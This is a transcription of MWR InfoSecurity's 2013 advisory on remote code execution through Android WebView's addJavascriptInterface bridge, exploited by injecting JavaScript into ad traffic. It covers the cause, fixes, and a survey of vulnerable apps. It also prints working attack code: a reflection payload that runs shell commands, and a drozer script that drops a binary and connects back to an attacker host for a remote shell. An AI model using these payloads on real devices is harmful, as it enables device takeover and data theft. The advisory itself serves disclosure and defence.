WebView addjavascriptinterface Remote Code Execution 23/09/2013

Transcription

1 MWR InfoSecurity Advisory WebView addjavascriptinterface Remote Code Execution 23/09/2013 Package Name Date Affected Versions Google Android Webkit WebView 23/09/2013 All Android applications built with or against API versions less than 17 Author Severity Local/Remote Vulnerability Class Vendor Dave Hartley High Remote Remote Command Execution Google Description Many free mobile applications use a WebView to load HTML content as an in process web browser to facilitate advertisement loading from remote advertiser networks. These advertisements are loaded over a clear text channel (HTTP) and are susceptible to Man in the Middle (MitM) attacks. An attacker able to MitM the communications with the advertising network can inject arbitrary Java Script into the WebView. If the WebView provides access to native functionality via JavaScript bridge utilising the addjavascriptinterface method, then the WebView Java Script bridge can then be abused to execute arbitrary Java code. This is achieved by using reflection to acquire a reference to a runtime object via the interface implemented. Impact The addjavascriptinterface method can be abused via reflection to execute commands remotely in the context of the running application. Cause The addjavascriptinterface method exposes a supplied Java object from within a WebView to JavaScript. For applications compiled or linked against and API level less than 17; all public methods (including the inherited ones) can be accessed. Through the use of reflection it is also possible to invoke any other unregistered Java class. Interim Workaround Android users should remove any and all applications that embed advertisements. Alternatively ensure that you do not connect to untrusted networks while using applications with embedded advertisements. Solution This issue has been resolved in applications developed for Android 4.2 (API level 17) and above. Starting from Android 4.2 (API level 17) and above, only methods explicitly marked with annotation are available to JavaScript code within the WebView. The '@JavascriptInterface' annotation must be added to any method that is intended to be exposed via the native bridge (the method must also be public). An example is presented below: mwrinfosecurity.com MWR InfoSecurity 1 of 6

2 @JavascriptInterface public void method() { dostuff(); To resolve the issue the ad networks would need to re- engineer their SDK's and to build them for API 17 or above. All of the app developers using the old and vulnerable SDK's will need to link against the new SDK's and redistribute their applications. Android users would need to upgrade their applications - and possibly devices, to use the new non- vulnerable applications. It would also be advisable for the ad networks to only serve content over an encrypted channel (SSL/TLS). We expect this issue to be around for some time. Technical Description Recently we have been researching vulnerabilities within cross platform mobile application development frameworks. Whilst performing this research we have identified a number of issues. This advisory will detail one of the more serious of the issues, which affects all current Android platforms and devices. The issue allows an attacker to execute arbitrary code on Android devices. The vulnerability is exploited by injecting JavaScript into a WebView ( We have released output from related research previously; see the previous post "Adventures With Android WebViews" for background information here with- android- webviews. Lately we have been analysing mobile advertising networks and in particular the Software Development Kit (SDK) that the networks make available to application developers for the purpose of monetising their applications. During this research we have found that a lot of applications expose mobile device users to the threat of compromise. We have found a number of exploitable (cross platform) vulnerabilities and expect to find more as research continues. We are in the early stages of the research and we will be conducting further research in this area; however we have decided to release this advisory now as to help Android users take appropriate actions to protect themselves. Many advertising networks make an SDK available to application developers to 'ease' integration. The SDK contains header files and a static library. Header files contain function declarations that are imported into a project so that the functions can be called. The library file contains the actual executable code that does the work. This is linked in by the linker to provide the actual functionality (the definitions rather than just the declarations). The advertising networks require the application to display content within a WebKit WebView. WebKit is an open source web browser engine that powers browsers such as Google Chrome, Apple Safari, the default ios and Android browsers etc. WebView is the core view class in the WebKit framework. Many free apps use a WebView to load HTML content as an in- process web browser and the advertising network SDK uses the browser instance to facilitate advertisement loading from remote advertiser networks. These advertisements are loaded over a clear text channel (HTTP) and are susceptible to Man in the Middle (MitM) attacks. An attacker able to MitM the communications with the advertising network can inject arbitrary JavaScript into the WebView. Advertising networks gather metrics so that they can tailor campaigns and target specific 'audiences'. Advertisers pay a lot of money for accurate metrics and/or successful delivery of targeted advertisements. Advertising networks also want to leverage the mobile device platform to deliver 'rich media' advertisements. To achieve their goals, access to the platform/devices native capabilities is often required. This is realised by implementing a "native bridge". It is possible to call 'native' code from a rendered WebView by using JavaScript. This is achieved on the Android platform in two different ways, the first is to use the public methods 'shouldoverrideurlloading' - see the Android developer site for details on this method here MWR InfoSecurity 2 of 6

3 d.webkit.webview,%20java.lang.string). An example implementation is public boolean shouldoverrideurlloading(webview view, String url) { if (url.substring(0,6).equalsignorecase("yourscheme:")) { // parse the URL object and execute functions A call into Java can then be initiated from Java Script by passing parameters within the URL: window.location = yourscheme://method?parameter=value The second method available for the Android platform is to use the android.webkit.javascriptinterface interface - see the Android developer site for details on the interface - An example implementation is below: public class WebViewGUI extends Activity { WebView mwebview; public void oncreate(bundle savedinstancestate) { super.oncreate(savedinstancestate); mwebview=new WebView(this); mwebview.getsettings().setjavascriptenabled(true); mwebview.addjavascriptinterface(new JavaScriptInterface(), "jsinterface"); mwebview.loadurl("file:///android_asset/www/index.html"); setcontentview(mwebview); final class JavaScriptInterface { JavaScriptInterface () { public String getsomestring() { return "string"; A call into Java can be initiated from Java Script as such: var String = window.jsinterface.getsomestring(); The WebView JavaScript bridge can be abused to execute arbitrary Java code, by using reflection to acquire a reference to a runtime object via the interface implemented in the Java code above. Note: The JavaScriptInterface can be named anything, "jsinterface" has been chosen for illustration purposes only. The issue has been disclosed publically in an article authored by 'Neil' titled "Abusing WebView JavaScript Bridges" ( on December the 21st, The issue is alluded to in a paper titled "Static Analysis of Dalvik Bytecode and Reflection in Android" authored by Erik Ramsgaard Wognsen and Henrik Søndberg Karlsen, the paper can be found here However we found no other references to it or discussions with regards to active exploitation online, prior to presenting this issue and related research on the 13 th September at the 44CON conference. On the 16th September the following was posted online, 2/analyzing- android- webview- exploit detailing how the issue can be used to send SMS. MWR InfoSecurity 3 of 6

4 The following JavaScript, if injected into a WebView that implements a native bridge using the android.webkit.javascriptinterface interface, will result in the execution of operating system commands (via java.lang.runtime) - see the Android developer site for details here <script> function execute(cmd){return window.jsinterface.getclass().forname('java.lang.runtime').getmethod('getrunt ime',null).invoke(null,null).exec(cmd); execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']); </script> We can go even further and use this vector to drop in a 'drozer' payload for a much more feature rich exploitation experience; drozer is an Android security assessment framework (think Metasploit for Android) and can be found here Weasel is a binary that aids in the loading and running of a drozer agent once code execution has been gained on an Android device (think meterpreter for Android). To do this we can use drozer to generate a 'weasel' payload. $ drozer payload list shell.reverse_tcp.armeabi Establish a reverse TCP Shell (ARMEABI) weasel.reverse_tcp.armeabi weasel through a reverse TCP Shell (ARMEABI) weasel.shell.armeabi Deploy weasel, through a set of Shell commands (ARMEABI) $ drozer payload build weasel.shell.armeabi grep echo awk -F \" {'gsub("\\\\","\\\\"); print "execute([\x27/system/bin/sh\x27,\x27-c\x27,\x27 echo -e \\\""$2"\\\" > \x27+path]);"' Which will give you a one liner to embed into the JavaScript payload: execute(['/system/bin/sh','-c','echo -e " " > '+path]); The payload we are going to inject (with the binary stripped for readability) is below: $ cat drozer.js var host = ' '; var port = '31415'; var path = '/data/data/com.vuln.app/files/weasel'; function execute(cmd){return window.interface.getclass().forname('java.lang.runtime').getmethod('getruntim e',null).invoke(null,null).exec(cmd); execute(['/system/bin/rm',path]); execute(['/system/bin/sh','-c','echo -e " " > '+path]); execute(['/system/bin/chmod','770',path]); execute([path,host,port]); If the payload is injected into the WebView as above it will write and execute the weasel payload. The command below starts the drozer server and as can be seen, the payload has executed and connected back to the drozer server: $ drozer server start Starting drozer Server, listening on : :02:08,238 - drozer.server.protocols.http - INFO - GET /agent.jar :02:08,256 - drozer.server.protocols.http - INFO - GET /agent.apk MWR InfoSecurity 4 of 6

5 :02:08,808 - drozer.server.protocols.drozerp.droidhg - INFO - accepted connection from 47k5n8v3nbdpg :02:08,834 - drozer.server.protocols.shell - INFO - accepted shell from :63804 The command below will list the connected remote devices: $ drozer console devices List of Bound Devices Device ID Manufacturer Model Software 47k5n8v3nbdpg unknown unknown unknown The command below can then be used to connect to our listening console: $ drozer console connect 47k5n8v3nbdpg....:...o...r....a nd ro..idsnemesisand..pr.otectorandroidsneme..,sisandprotectorandroids+...nemesisandprotectorandroidsn:..emesisandprotectorandroidsnemes....isandp,..,rotectorandro,..,idsnem..isisandp..rotectorandroid..snemisis.,andprotectorandroidsnemisisandprotec..torandroidsnemesisandprotectorandroid..snemisisandprotectorandroidsnemesisan:.dprotectorandroidsnemesisandprotector. drozer Console (v2.3.0) dz> At this point, the attacker is able to perform a number of attacks against the device using drozer. The lowest impact attack would be downloading contents of the SD card and the exploited application's data directory. However, depending on the device that was exploited this could extend to obtaining root privileges, retrieving other sensitive user data from the device or causing the user monetary loss. We have analysed a large number of advertising network SDK's and found that a lot of these implement bridges that are vulnerable to exploitation. Some advertising network SDK's obtained from the advertising networks directly were found to not be vulnerable (in their most recent versions). However a lot of applications on the "Google Play Store" were found to be using old versions of the SDK's, which are vulnerable. Note: If the linked SDK has been built for an API lower than 17, the vulnerability exists - even if the application using the SDK has been built for API 17 or above. This issue is exploitable on all devices and versions of Android. The command below can be used to identify the presence of the JavascriptInterface (after decompiling the app you are inspecting): $ grep -r -n -i --include=*.java addjavascriptinterface * The command below can be used to indicate if the code has been built for API 17 (or above) and includes the '@JavascriptInterface' annotation: MWR InfoSecurity 5 of 6

6 $ grep -r -i --include=*.java * Note: Packages were decompiled using jd- gui in order to ensure annotations were included. On the 30th of July 2013, MWR downloaded the top 100 Android applications in the "Google Play Store" and analysed the applications. Out of the apps that were profiled, there were a number of apps which did not use ads as a monetisation strategy, due to being popular subscription services (like Netflix) or being free services funded in some other way (such as ebay). This means that (as of 30/07/2013) 21/100 of the top 100 free apps are ad- free. Of the remaining 79 applications it was discovered that many used multiple advertising libraries or frameworks are in use. The results are presented below: Number of ad networks identified Admob (Google) InMobi MdotM Admarvel Flurry Tapjoy Millenial Media Medialets Greystipe adwhirl freewheel Number of ad frameworks identified: MoPub Burstly Mobclix Mocean These applications were examined to determine how many are vulnerable to this issue. The APK's for the applications were downloaded and decompiled. The source was searched for the use of "addjavascriptinterface" before being searched for the presence of the "@JavascriptInterface" annotation. Any package or linked ad SDK that contained the annotation was dismissed. The findings indicated that 62 of the 100 apps are 'potentially' vulnerable. Not all of the interfaces are implemented within ad networks and not all of the interfaces are present in WebViews that load content remotely over a clear text channel. We didn't investigate each and every package. A script was then crafted to automatically download Android applications, decompile them and identify if an ad network was in use, and if so determine if it is vulnerable. Out of the 1,000 top applications 570 were found to be vulnerable. According to AppBrain ( and- paid- android- applications) on the 30/07/2013 there were 655,325 free apps and 153,813 paid apps; 809,138 apps in total. AppBrain is a website for discovering Android apps. AppBrain also includes stats on the number of apps that integrate ad network SDK's ( out of all of the apps in the "Google Play Store". This clearly illustrates just how many applications are potential targets for attack. The page lists 77 ad networks/ad frameworks. It is unfeasible for us to analyse each and every SDK to determine its exploitability and as previously stated; even if the latest SDK available is not vulnerable, there may well be apps in the market place that haven't upgraded their SDK from a vulnerable version and are therefore vulnerable. MWR InfoSecurity 6 of 6